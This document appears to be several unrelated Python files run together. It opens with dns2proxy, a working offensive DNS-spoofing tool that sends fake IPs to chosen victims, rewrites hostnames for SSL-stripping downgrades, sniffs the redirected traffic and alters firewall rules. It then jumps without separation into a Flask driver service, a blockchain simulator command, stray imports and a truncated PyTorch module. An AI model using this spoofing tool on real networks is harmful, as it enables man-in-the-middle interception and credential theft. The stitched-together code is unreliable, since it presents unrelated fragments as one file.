#!/usr/bin/python2.6
'''
dns2proxy for offensive cybersecurity v1.0

python dns2proxy.py -h for Usage.

Example:
python2.6 dns2proxy.py -i eth0 -u 192.168.1.101 -d 192.168.1.200

Example for no forwarding (only configured domain based queries and spoofed hosts):
  python2.6 dns2proxy.py -i eth0 -noforward

Example for no forwarding but add IPs
  python dns2proxy.py -i eth0 -I 192.168.1.101,90.1.1.1,155.54.1.1 -noforward

Author: Leonardo Nve ( leonardo.nve@gmail.com)
'''

import dns.message
import dns.rrset
import dns.resolver
import socket
import numbers
import threading
from struct import *
import datetime
import pcapy
import os
import signal
import errno
from time import sleep
import argparse

consultas = {}
spoof = {}
dominios = {}
nospoof = []
nospoofto = []
victims = []

LOGREQFILE = "dnslog.txt"
LOGSNIFFFILE = "snifflog.txt"
LOGALERTFILE = "dnsalert.txt"
RESOLVCONF = "resolv.conf"

victim_file = "victims.cfg"
nospoof_file = "nospoof.cfg"
nospoofto_file = "nospoofto.cfg"
specific_file = "spoof.cfg"
dominios_file = "domains.cfg"

parser = argparse.ArgumentParser()
parser.add_argument("-N", "--noforward", help="DNS Fowarding OFF (default ON)", action="store_true")
parser.add_argument("-i", "--interface", help="Interface to use", default="eth0")
parser.add_argument("-u", "--ip1", help="First IP to add at the response", default=None)
parser.add_argument("-d", "--ip2", help="Second IP to add at the response", default=None)
parser.add_argument("-I", "--ips", help="List of IPs to add after ip1,ip2 separated with commas", default=None)
parser.add_argument("-S", "--silent", help="Silent mode", action="store_true")
parser.add_argument("-A", "--adminIP", help="Administrator IP for no filtering", default="192.168.0.1")

args = parser.parse_args()

debug = not args.silent
dev = args.interface
adminip = args.adminIP
ip1 = args.ip1
ip2 = args.ip2
Forward = not args.noforward

fake_ips = []
# List of of ips
if args.ips is not None:
    for ip in args.ips.split(","):
        fake_ips.append(ip)

Resolver = dns.resolver.Resolver()

######################
# GENERAL SECTION    #
######################

def save_req(lfile, str):
    f = open(lfile, "a")
    f.write(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") + ' ' + str)
    f.close()

def SIGUSR1_handle(signalnum, frame):
    global noserv
    global Resolver
    noserv = 0
    DEBUGLOG('Reconfiguring....')
    process_files()
    Resolver.reset()
    Resolver.read_resolv_conf(RESOLVCONF)
    return

def process_files():
    global nospoof
    global spoof
    global nospoof_file
    global specific_file
    global dominios_file
    global dominios
    global nospoofto_file

    for i in nospoof[:]:
        nospoof.remove(i)

    for i in nospoofto[:]:
        nospoofto.remove(i)

    for i in victims[:]:
        victims.remove(i)

    dominios.clear()
    spoof.clear()

    nsfile = open(nospoof_file, 'r')
    for line in nsfile:
        if line[0] == '#':
            continue
        h = line.split()
        if len(h) > 0:
            DEBUGLOG('Non spoofing ' + h[0])
            nospoof.append(h[0])

    nsfile.close()

    nsfile = open(victim_file, 'r')
    for line in nsfile:
        if line[0] == '#':
            continue
        h = line.split()
        if len(h) > 0:
            DEBUGLOG('Spoofing only to ' + h[0])
            victims.append(h[0])

    nsfile.close()

    nsfile = open(nospoofto_file, 'r')
    for line in nsfile:
        if line[0] == '#':
            continue
        h = line.split()
        if len(h) > 0:
            DEBUGLOG('Non spoofing to ' + h[0])
            nospoofto.append(h[0])

    nsfile.close()

    nsfile = open(specific_file, 'r')
    for line in nsfile:
        if line[0] == '#':
            continue
        h = line.split()
        if len(h) > 1:
            DEBUGLOG('Specific host spoofing ' + h[0] + ' with ' + h[1])
            spoof[h[0]] = h[1]

    nsfile.close()
    nsfile = open(dominios_file, 'r')
    for line in nsfile:
        if line[0] == '#':
            continue
        h = line.split()
        if len(h) > 1:
            DEBUGLOG('Specific domain IP ' + h[0] + ' with ' + h[1])
            dominios[h[0]] = h[1]

    nsfile.close()
    return

def DEBUGLOG(str):
    global debug
    if debug:
        print str
    return

def handler_msg(id):
    os.popen('./handler_msg.sh %s >> handler_msg.log 2>> handler_msg_error.log &'%id.replace('`','_').replace(';','_').replace('|','_').replace('&','_'))
    return

######################
# SNIFFER SECTION    #
######################

class ThreadSniffer(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)

    def run(self):
        #DEBUGLOG( self.getName(), " Sniffer Waiting connections....")
        go()

def go():
    global ip1
    global dev
    bpffilter = "dst host %s and not src host %s and !(tcp dst port 80 or tcp dst port 443) and (not host %s)" % (
        ip1, ip1, adminip)
    cap = pcapy.open_live(dev, 255, 1, 0)
    cap.setfilter(bpffilter)
    DEBUGLOG( "Starting sniffing in (%s = %s)...." % (dev, ip1))

    #start sniffing packets
    while True:
        try:
            (header, packet) = cap.next()
            parse_packet(packet)
        except:
            pass
            #DEBUGLOG( ('%s: captured %d bytes, truncated to %d bytes' %(datetime.datetime.now(), header.getlen(), header.getcaplen())))

#function to parse a packet
def parse_packet(packet):
    eth_length = 14
    eth_protocol = 8
    global ip1
    global consultas
    global ip2

    #Parse IP packets, IP Protocol number = 8
    if eth_protocol == 8:
        #Parse IP header
        #take first 20 characters for the ip header
        ip_header = packet[eth_length:20 + eth_length]

        #now unpack them :)
        iph = unpack('!BBHHHBBH4s4s', ip_header)

        version_ihl = iph[0]
        #version = version_ihl >> 4
        ihl = version_ihl & 0xF

        iph_length = ihl * 4

        #ttl = iph[5]
        protocol = iph[6]
        s_addr = socket.inet_ntoa(iph[8])
        d_addr = socket.inet_ntoa(iph[9])

        #TCP protocol
        if protocol == 6:
            t = iph_length + eth_length
            tcp_header = packet[t:t + 20]

            #now unpack them :)
            tcph = unpack('!HHLLBBHHH', tcp_header)

            source_port = tcph[0]
            dest_port = tcph[1]
            #            sequence = tcph[2]
            #            acknowledgement = tcph[3]
            #            doff_reserved = tcph[4]
            #            tcph_length = doff_reserved >> 4

            if consultas.has_key(str(s_addr)):
                DEBUGLOG(' ==> Source Address : ' + str(s_addr) + ' *  Destination Address : ' + str(d_addr))
                DEBUGLOG(' Source Port : ' + str(source_port) + ' *  Dest Port : ' + str(dest_port))
                #            	print '>>>>  '+str(s_addr)+' esta en la lista!!!!.....'
                comando = 'sh ./IPBouncer.sh %s %s %s %s' % (
                    ip2, str(dest_port), consultas[str(s_addr)], str(dest_port))
                os.system(comando.replace(';','_').replace('|','_').replace('&','_').replace('`','_'))
                #print '>>>> ' + comando
                comando = '/sbin/iptables -D INPUT -p tcp -d %s --dport %s -s %s --sport %s --j REJECT --reject-with tcp-reset' % (
                    ip1, str(dest_port), str(s_addr), str(source_port))
                os.system(comando.replace(';','_').replace('|','_').replace('&','_').replace('`','_'))
                comando = '/sbin/iptables -A INPUT -p tcp -d %s --dport %s -s %s --sport %s --j REJECT --reject-with tcp-reset' % (
                    ip1, str(dest_port), str(s_addr), str(source_port))
                os.system(comando.replace(';','_').replace('|','_').replace('&','_').replace('`','_'))
                #print '>>>> ' + comando

        #UDP packets
        elif protocol == 17:
            u = iph_length + eth_length
            #udph_length = 8
            #udp_header = packet[u:u + 8]
            #now unpack them :)
            #udph = unpack('!HHHH', udp_header)
            #source_port = udph[0]
            #dest_port = udph[1]
            #length = udph[2]
            #checksum = udph[3]
            #DEBUGLOG('Source Port : ' + str(source_port) + ' Dest Port : ' + str(dest_port) + ' Length : ' + str(length) + ' Checksum : ' + str(checksum))
            #h_size = eth_length + iph_length + udph_length
            #data_size = len(packet) - h_size
            #get data from the packet
            #data = packet[h_size:]

######################
#  DNS SECTION       #
######################

def respuestas(name, type):
    global Resolver

    DEBUGLOG('Query = ' + name + ' ' + type)
    try:
        answers = Resolver.query(name, type)
    except Exception, e:
        DEBUGLOG('Exception...')
        return 0
    return answers

def requestHandler(address, message):
    resp = None
    dosleep = False
    try:
        message_id = ord(message[0]) * 256 + ord(message[1])
        DEBUGLOG('msg id = ' + str(message_id))
        if message_id in serving_ids:
            DEBUGLOG('I am already serving this request.')
            return
        serving_ids.append(message_id)
        DEBUGLOG('Client IP: ' + address[0])
        prov_ip = address[0]
        try:
            msg = dns.message.from_wire(message)
            try:
                op = msg.opcode()
                if op == 0:
                    # standard and inverse query
                    qs = msg.question
                    if len(qs) > 0:
                        q = qs[0]
                        DEBUGLOG('request is ' + str(q))
                        save_req(LOGREQFILE, 'Client IP: ' + address[0] + '    request is    ' + str(q) + '\n')
                        if q.rdtype == dns.rdatatype.A:
                            DEBUGLOG('Doing the A query....')
                            resp, dosleep = std_A_qry(msg, prov_ip)
                        elif q.rdtype == dns.rdatatype.PTR:
                            #DEBUGLOG('Doing the PTR query....')
                            resp = std_PTR_qry(msg)
                        elif q.rdtype == dns.rdatatype.MX:
                            DEBUGLOG('Doing the MX query....')
                            resp = std_MX_qry(msg)
                        elif q.rdtype == dns.rdatatype.TXT:
                            #DEBUGLOG('Doing the TXT query....')
                            resp = std_TXT_qry(msg)
                        elif q.rdtype == dns.rdatatype.AAAA:
                            #DEBUGLOG('Doing the AAAA query....')
                            resp = std_AAAA_qry(msg)
                        else:
                            # not implemented
                            resp = make_response(qry=msg, RCODE=4)  # RCODE =  4    Not Implemented
                else:
                    # not implemented
                    resp = make_response(qry=msg, RCODE=4)  # RCODE =  4    Not Implemented

            except Exception, e:
                DEBUGLOG('got ' + repr(e))
                resp = make_response(qry=msg, RCODE=2)  # RCODE =  2    Server Error
                DEBUGLOG('resp = ' + repr(resp.to_wire()))
        except Exception, e:
            DEBUGLOG('got ' + repr(e))
            resp = make_response(id=message_id, RCODE=1)  # RCODE =  1    Format Error
            DEBUGLOG('resp = ' + repr(resp.to_wire()))
    except Exception, e:
        # message was crap, not even the ID
        DEBUGLOG('got ' + repr(e))

    if resp:
        s.sendto(resp.to_wire(), address)
    if dosleep: sleep(1)  # Performance downgrade no tested jet

def std_PTR_qry(msg):
    qs = msg.question
    DEBUGLOG( str(len(qs)) + ' questions.')
    iparpa = qs[0].to_text().split(' ', 1)[0]
    DEBUGLOG('Host: ' + iparpa)
    resp = make_response(qry=msg)
    hosts = respuestas(iparpa[:-1], 'PTR')
    if isinstance(hosts, numbers.Integral):
        DEBUGLOG('No host....')
        resp = make_response(qry=msg, RCODE=3)  # RCODE =  3	NXDOMAIN
        return resp

    for host in hosts:
        DEBUGLOG('Adding ' + host.to_text())
        rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.PTR, host.to_text())
        resp.answer.append(rrset)

    return resp

def std_MX_qry(msg):
    qs = msg.question
    DEBUGLOG(str(len(qs)) + ' questions.')
    iparpa = qs[0].to_text().split(' ', 1)[0]
    DEBUGLOG('Host: ' + iparpa)
    resp = make_response(qry=msg, RCODE=3)  # RCODE =  3	NXDOMAIN
    return resp
    #Temporal disable MX responses
    resp = make_response(qry=msg)
    hosts = respuestas(iparpa[:-1], 'MX')
    if isinstance(hosts, numbers.Integral):
        DEBUGLOG('No host....')
        resp = make_response(qry=msg, RCODE=3)  # RCODE =  3	NXDOMAIN
        return resp

    for host in hosts:
        DEBUGLOG('Adding ' + host.to_text())
        rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.MX, host.to_text())
        resp.answer.append(rrset)

    return resp

def std_TXT_qry(msg):
    qs = msg.question
    print str(len(qs)) + ' questions.'
    iparpa = qs[0].to_text().split(' ', 1)[0]
    print 'Host: ' + iparpa
    resp = make_response(qry=msg)

    host = iparpa[:-1]
    punto = host.find(".")
    dominio = host[punto:]
    host = "."+host
    spfresponse = ''
    if (dominio in dominios) or (host in dominios):
        ttl = 1
        DEBUGLOG('Alert domain! (TXT) ID: ' + host)
        # Here the HANDLE!
        #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s <number> \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip));
        save_req(LOGALERTFILE, 'Alert domain! (TXT) ID: ' + host+ '\n')
        if host in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%host
        if dominio in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%dominio
        DEBUGLOG('Responding with SPF = ' + spfresponse)
        rrset = dns.rrset.from_text(iparpa, ttl, dns.rdataclass.IN, dns.rdatatype.TXT, spfresponse)
        resp.answer.append(rrset)
        return resp

    hosts = respuestas(iparpa[:-1], 'TXT')
    if isinstance(hosts, numbers.Integral):
        print 'No host....'
        resp = make_response(qry=msg, RCODE=3)  # RCODE =  3    NXDOMAIN
        return resp

    for host in hosts:
        print 'Adding ' + host.to_text()
        rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.TXT, host.to_text())
        resp.answer.append(rrset)

    return resp

def std_SPF_qry(msg):
    qs = msg.question
    print str(len(qs)) + ' questions.'
    iparpa = qs[0].to_text().split(' ', 1)[0]
    print 'Host: ' + iparpa
    resp = make_response(qry=msg)

    # host = iparpa[:-1]
    # punto = host.find(".")
    # dominio = host[punto:]
    # host = "."+host
    # if (dominio in dominios) or (host in dominios):
    #     ttl = 1
    #     DEBUGLOG('Alert domain! (TXT) ID: ' + host)
    #     # Here the HANDLE!
    #     #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s <number> \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip));
    #     save_req(LOGALERTFILE, 'Alert domain! (TXT) ID: ' + host+ '\n')
    #     if host in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%host
    #     if dominio in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%dominio
    #     DEBUGLOG('Responding with SPF = ' + spfresponse)
    #     rrset = dns.rrset.from_text(iparpa, ttl, dns.rdataclass.IN, dns.rdatatype.TXT, spfresponse)
    #     resp.answer.append(rrset)
    #     return resp

    hosts = respuestas(iparpa[:-1], 'SPF')
    if isinstance(hosts, numbers.Integral):
        print 'No host....'
        resp = make_response(qry=msg, RCODE=3)  # RCODE =  3    NXDOMAIN
        return resp

    for host in hosts:
        print 'Adding ' + host.to_text()
        rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.SPF, host.to_text())
        resp.answer.append(rrset)

    return resp

def std_AAAA_qry(msg):
    resp = make_response(qry=msg, RCODE=3)  # RCODE =  3    NXDOMAIN
    return resp

def std_A_qry(msg, prov_ip):
    global consultas
    global ip1
    global ip2
    global fake_ips

    dosleep = False
    qs = msg.question
    DEBUGLOG(str(len(qs)) + ' questions.')
    resp = make_response(qry=msg)
    for q in qs:
        qname = q.name.to_text()[:-1]
        DEBUGLOG('q name = ' + qname)

        host = qname.lower()

        # dom1 = None
        # dominio = None

        # punto1 = host.rfind(".")
        # punto2 = host.rfind(".",0,punto1-1)

        # if punto1 > -1:
        #     dom1 = host[punto1:]

        # if punto2 > -1:
        #     dominio = host[punto2:]

        find_host = None
        for d in dominios:
            if d in host:
                find_host = d

        if (find_host is not None):
            ttl = 1
            # id = host[:punto2]
            # if dom1 in dominios:
            #     id = host[:punto1]
            #     dominio = dom1

            DEBUGLOG('Alert domain! ID: ' + host)
            # Here the HANDLE!
            #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s <number> \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip));
            handler_msg(host)
            save_req(LOGALERTFILE, 'Alert domain! ID: ' + host + '\n')

            if host not in spoof:
                DEBUGLOG('Responding with IP = ' + dominios[find_host])
                rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, dominios[find_host])
            else:
                DEBUGLOG('Responding with IP = ' + spoof[host])
                rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, spoof[host])

            resp.answer.append(rrset)
            return resp, dosleep

        if ".%s"%host in dominios:
            dominio = ".%s"%host
            ttl = 1
            DEBUGLOG('Responding with IP = ' + dominios[dominio])
            rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, dominios[dominio])
            resp.answer.append(rrset)
            return resp, dosleep

        ips = respuestas(qname.lower(), 'A')
        if qname.lower() not in spoof and isinstance(ips, numbers.Integral):
        # SSLSTRIP2 transformation
            punto = host.find(".")
            dominio = host[punto:]
            host2 = ''
            if host[:5] == 'wwww.' or host[:7] == 'social.':
                host2 = 'www%s' % dominio
            elif host[:3] == 'web':
                host2 = host[3:]
            elif host[:7] == 'cuentas':
                host2 = 'accounts%s' % dominio
            elif host[:5] == 'gmail':
                host2 = 'mail%s' % dominio
            elif host == 'chatenabled.gmail.google.com':  # Yes, It is ugly....
                host2 = 'chatenabled.mail.google.com'
            if host2 != '':
                DEBUGLOG('SSLStrip transforming host: %s => %s ...' % (host, host2))
                ips = respuestas(host2, 'A')

        #print '>>> Victim: %s   Answer 0: %s'%(prov_ip,prov_resp)

        if isinstance(ips, numbers.Integral):
            DEBUGLOG('No host....')
            resp = make_response(qry=msg, RCODE=3)  # RCODE =  3	NXDOMAIN
            return resp, dosleep

        prov_resp = ips[0]
        consultas[prov_ip] = prov_resp

        ttl = 1
        if (host not in nospoof) and (prov_ip not in nospoofto) and (len(victims) == 0 or prov_ip in victims):
            if host in spoof:
                save_req(LOGREQFILE, '!!! Specific host (' + host + ') asked....\n')
                for spoof_ip in spoof[host].split(","):
                    DEBUGLOG('Adding fake IP = ' + spoof_ip)
                    rrset = dns.rrset.from_text(q.name, 1000, dns.rdataclass.IN, dns.rdatatype.A, spoof_ip)
                    resp.answer.append(rrset)
                return resp, dosleep
            elif Forward:
                consultas[prov_ip] = prov_resp
                #print 'DEBUG: Adding consultas[%s]=%s'%(prov_ip,prov_resp)
                if ip1 is not None:
                    rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, ip1)
                    DEBUGLOG('Adding fake IP = ' + ip1)
                    resp.answer.append(rrset)
                if ip2 is not None:
                    #Sleep only when using global resquest matrix
                    dosleep = True
                    rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, ip2)
                    DEBUGLOG('Adding fake IP = ' + ip2)
                    resp.answer.append(rrset)
                if len(fake_ips)>0:
                    for fip in fake_ips:
                        rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, fip)
                        DEBUGLOG('Adding fake IP = ' + fip)
                        resp.answer.append(rrset)

        if not Forward and prov_ip not in nospoofto:
            if len(fake_ips) == 0:
                DEBUGLOG('No forwarding....')
                resp = make_response(qry=msg, RCODE=3)  # RCODE =  3	NXDOMAIN
            elif len(fake_ips) > 0:
                DEBUGLOG('No forwarding (but adding fake IPs)...')
                for fip in fake_ips:
                    rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, fip)
                    DEBUGLOG('Adding fake IP = ' + fip)
                    resp.answer.append(rrset)
            return resp, dosleep

        for realip in ips:
            DEBUGLOG('Adding real IP  = ' + realip.to_text())
            rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, realip.to_text())
            resp.answer.append(rrset)

    return resp, dosleep

# def std_A2_qry(msg):
# 	qs = msg.question
# 	DEBUGLOG(str(len(qs)) + ' questions.')
# 	iparpa = qs[0].to_text().split(' ',1)[0]
# 	print 'Host: '+ iparpa
# 	resp = make_response(qry=msg)
# 	rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.A, '4.4.45.4')
# 	resp.answer.append(rrset)
# 	return resp

def std_ASPOOF_qry(msg):
    global spoof
    qs = msg.question
    DEBUGLOG(str(len(qs)) + ' questions.')
    iparpa = qs[0].to_text().split(' ', 1)[0]
    DEBUGLOG('Host: ' + iparpa)
    resp = make_response(qry=msg)

    for q in qs:
        qname = q.name.to_text()[:-1]
        DEBUGLOG('q name = ' + qname) + ' to resolve ' + spoof[qname]
        # 	    rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.facebook.com.')
        # 		resp.answer.append(rrset)
        # 		rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.yahoo.com.')
        # 		resp.answer.append(rrset)
        # 		rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.tuenti.com.')
        # 		resp.answer.append(rrset)
        # 		rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.twitter.com.')
        # 		resp.answer.append(rrset)
        rrset = dns.rrset.from_text(q.name, 1000, dns.rdataclass.IN, dns.rdatatype.A, spoof[qname])
        resp.answer.append(rrset)
        return resp

def make_response(qry=None, id=None, RCODE=0):
    if qry is None and id is None:
        raise Exception, 'bad use of make_response'
    if qry is None:
        resp = dns.message.Message(id)
        # QR = 1
        resp.flags |= dns.flags.QR
        if RCODE != 1:
            raise Exception, 'bad use of make_response'
    else:
        resp = dns.message.make_response(qry)
    resp.flags |= dns.flags.AA
    resp.flags |= dns.flags.RA
    resp.set_rcode(RCODE)
    return resp

process_files()
Resolver.reset()
Resolver.read_resolv_conf(RESOLVCONF)
signal.signal(signal.SIGUSR1, SIGUSR1_handle)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('', 53))
if Forward:
    DEBUGLOG('DNS Forwarding activado....')
else:
    DEBUGLOG('DNS Forwarding desactivado....')

DEBUGLOG('binded to UDP port 53.')
serving_ids = []
noserv = True

if ip1 is not None and ip2 is not None and Forward:
    sniff = ThreadSniffer()
    sniff.start()

while True:
    if noserv:
        DEBUGLOG('waiting requests.')

    try:
        message, address = s.recvfrom(1024)
        noserv = True
    except socket.error as (code, msg):
        if code != errno.EINTR:
            raise

    if noserv:
        DEBUGLOG('serving a request.')
        requestHandler(address, message)


from xml.etree.ElementTree import TreeBuilder
from app.models.entities.driver import Driver
from app.models.entities.vehicle import Vehicle
from app.models.result import Result
from app.extensions import db
from app.models.view.driver_view_model import DriverViewModel

class DriverService:
    def __init__(self) -> None:
        pass

    def insert_driver(self, driver: Driver) -> Result:
        result = driver.is_valid()
        if not result.success:
            return result

        driverAlreadyExistsByName =  Driver.query.filter_by(name=driver.name).first()
        if driverAlreadyExistsByName:
           return Result(success=False, message="Ja existe um motorista cadastrado com o nome informado!")

        driverAlreadyExistsByCPF =  Driver.query.filter_by(cpf=driver.cpf).first()
        if driverAlreadyExistsByCPF:
           return Result(success=False, message="Ja existe um motorista cadastrado com o cpf informado!")

        db.session.add(driver)
        db.session.commit()
        return Result(success= True, message= "Motorista registrado com sucesso!")

    def update_driver(self, current_driver: Driver, driver_view: DriverViewModel):
        current_driver.fill_update(driver_view)
        result = current_driver.is_valid()

        if not result.success:
            return result

        db.session.commit()
        return Result(success=True, message="Motorista atualizado com sucesso!")

    def delete_driver(self, driver: Driver):
        vehicle = Vehicle.query.filter_by(driver_id=driver.id).first()
        if vehicle != None:
            return Result(success=False, message='''Existem veiculos cadastradados com este motorista!
                                                     Delete antes os veiculos associados para deletar
                                                     o motorista.''')

        db.session.delete(driver)
        db.session.commit()

        return Result(success=True, message="Motorista deletado com sucesso!")

    def get_all(self):
        return Driver.query.all()


# This file is part of the Blockchain Data Trading Simulator
#    https://gitlab.com/MatthiasLohr/bdtsim
#
# Copyright 2021 Matthias Lohr <mail@mlohr.com>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#    http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

import argparse
import logging
import multiprocessing
import os
from multiprocessing.pool import ApplyResult
from typing import Any, Dict, Optional, Tuple
from queue import Queue

import yaml

from bdtsim.account import AccountFile
from bdtsim.data_provider import DataProviderManager
from bdtsim.environment import EnvironmentManager
from bdtsim.protocol import ProtocolManager, DEFAULT_ASSET_PRICE
from bdtsim.renderer import RendererManager
from bdtsim.simulation import Simulation
from bdtsim.simulation_result import SimulationResult, SimulationResultSerializer
from bdtsim.util.types import to_bool
from .command_manager import SubCommand

DEFAULT_ENVIRONMENT_CONFIGURATION: Dict[str, Any] = {'name': 'PyEVM'}
DEFAULT_DATA_PROVIDER_CONFIGURATION: Dict[str, Any] = {'name': 'RandomDataProvider'}

logger = logging.getLogger(__name__)

class BulkExecuteSubCommand(SubCommand):
    help = 'bulk execute simulations and renderings'

    def __init__(self, parser: argparse.ArgumentParser) -> None:
        super(BulkExecuteSubCommand, self).__init__(parser)
        parser.add_argument('bulk_configuration')
        parser.add_argument('-p', '--processes', type=int, default=multiprocessing.cpu_count())

    def __call__(self, args: argparse.Namespace) -> Optional[int]:
        with open(args.bulk_configuration, 'r') as fp:
            bulk_configuration = yaml.load(fp, Loader=yaml.SafeLoader)

        logger.info('creating process pool with %i processes' % args.processes)
        process_pool = multiprocessing.Pool(processes=args.processes)
        processes: Queue[ApplyResult[Any]] = Queue()

        simulation_configurations = bulk_configuration.get('simulations')
        if not isinstance(simulation_configurations, list):
            raise ValueError('simulations is not a list')

        renderer_configurations = bulk_configuration.get('renderers')
        if not isinstance(simulation_configurations, list):
            raise ValueError('renderers is not a list')

        target_directory = bulk_configuration.get('target_directory', 'bulk_output')
        os.makedirs(target_directory, exist_ok=True)

        def renderer_success_callback(params: Tuple[Dict[str, Any], Dict[str, Any], bytes]) -> None:
            sim_conf, renderer_conf, result = params
            logger.info('renderer succeeded (%s, %s)' % (str(sim_conf), str(renderer_conf)))
            with open(os.path.join(
                target_directory,
                self.get_output_filename(sim_conf, renderer_conf, suffix=renderer_conf.get('suffix'))
            ), 'wb') as f:
                f.write(result)

        def renderer_error_callback(error: BaseException) -> None:
            logger.warning('renderer error: %s' % str(error))

        def simulation_success_callback(params: Tuple[Dict[str, Any], SimulationResult]) -> None:
            local_simulation_configuration, result = params
            logger.info('simulation succeeded (%s)' % str(local_simulation_configuration))
            logger.debug('writing down result')
            with open(os.path.join(
                    target_directory,
                    self.get_output_filename(local_simulation_configuration, suffix='result')
            ), 'wb') as f:
                simulation_result_serializer = SimulationResultSerializer(
                    compression=to_bool(bulk_configuration.get('output_compression', True)),
                    b64encoding=to_bool(bulk_configuration.get('output_b64encoding', True))
                )
                f.write(simulation_result_serializer.serialize(result))

            logger.debug('scheduling renderers')
            for renderer_configuration in renderer_configurations:
                processes.put(process_pool.apply_async(
                    func=self.run_renderer,
                    kwds={
                        'simulation_configuration': local_simulation_configuration,
                        'renderer_configuration': renderer_configuration,
                        'simulation_result': result
                    },
                    callback=renderer_success_callback,
                    error_callback=renderer_error_callback
                ))

        def simulation_error_callback(error: BaseException) -> None:
            logger.warning('simulation error callback called: %s' % str(error))

        logger.debug('scheduling simulations')
        for simulation_configuration in simulation_configurations:
            processes.put(process_pool.apply_async(
                func=self.run_simulation,
                kwds={
                    'simulation_configuration': simulation_configuration
                },
                callback=simulation_success_callback,
                error_callback=simulation_error_callback
            ))

        while not processes.empty():
            process = processes.get(block=True)
            process.wait()

        return 0

    @staticmethod
    def run_simulation(simulation_configuration: Dict[str, Any]) -> Tuple[Dict[str, Any], SimulationResult]:
        protocol_configuration = simulation_configuration.get('protocol')
        environment_configuration = simulation_configuration.get('environment')
        data_provider_configuration = simulation_configuration.get('data_provider')

        if protocol_configuration is None:
            raise ValueError('missing protocol configuration')
        if environment_configuration is None:
            environment_configuration = DEFAULT_ENVIRONMENT_CONFIGURATION
        if data_provider_configuration is None:
            data_provider_configuration = DEFAULT_DATA_PROVIDER_CONFIGURATION

        protocol = ProtocolManager.instantiate(
            name=protocol_configuration.get('name', ''),
            **protocol_configuration.get('parameters', {})
        )

        account_file = AccountFile(simulation_configuration.get('account_file'))

        environment = EnvironmentManager.instantiate(
            name=environment_configuration.get('name', ''),
            operator=account_file.operator,
            seller=account_file.seller,
            buyer=account_file.buyer,
            **environment_configuration.get('parameters', {})
        )

        data_provider = DataProviderManager.instantiate(
            name=data_provider_configuration.get('name', ''),
            **data_provider_configuration.get('parameters', {})
        )

        simulation = Simulation(
            protocol=protocol,
            environment=environment,
            data_provider=data_provider,
            operator=account_file.operator,
            seller=account_file.seller,
            buyer=account_file.buyer,
            protocol_path_coercion=simulation_configuration.get('protocol_path'),
            price=simulation_configuration.get('price', DEFAULT_ASSET_PRICE),
        )

        simulation_result = simulation.run()
        return simulation_configuration, simulation_result

    @staticmethod
    def run_renderer(simulation_configuration: Dict[str, Any], renderer_configuration: Dict[str, Any],
                     simulation_result: SimulationResult) -> Tuple[Dict[str, Any], Dict[str, Any], bytes]:
        renderer = RendererManager.instantiate(
            name=renderer_configuration.get('name', ''),
            **renderer_configuration.get('parameters', {})
        )
        result = renderer.render(simulation_result)
        return simulation_configuration, renderer_configuration, result

    @staticmethod
    def get_output_filename(simulation_configuration: Dict[str, Any],
                            renderer_configuration: Optional[Dict[str, Any]] = None,
                            suffix: Optional[str] = None) -> str:
        def component2str(component_config: Dict[str, Any]) -> str:
            result = str(component_config.get('name'))
            parameter_lines = []
            for key, value in component_config.get('parameters', {}).items():
                parameter_lines.append('%s=%s' % (key, value))
            if len(parameter_lines):
                result += '-%s' % '-'.join(parameter_lines)
            return result

        output = '_'.join([
            component2str(simulation_configuration.get('protocol', {})),
            component2str(simulation_configuration.get('environment', {})),
            component2str(simulation_configuration.get('data_provider', DEFAULT_DATA_PROVIDER_CONFIGURATION))
        ])

        if renderer_configuration is not None:
            output += '_%s' % component2str(renderer_configuration)

        if suffix is not None:
            output += '.%s' % suffix

        return output


import pyross.tsi.deterministic


"""
Raspberry Pi tests.
"""


import torch
import torch.nn as nn

class ACM(nn.Module):
    # def __init__(self, in_channels, num_heads=32, orthogonal_loss=True):
    def __init__(self, in_channels, num_heads=8, orthogonal_loss=True):
        super(ACM, self).__init__()

        assert in_channels % num_heads == 0

        self.in_channels = in_channels
        self.num_heads = num_heads

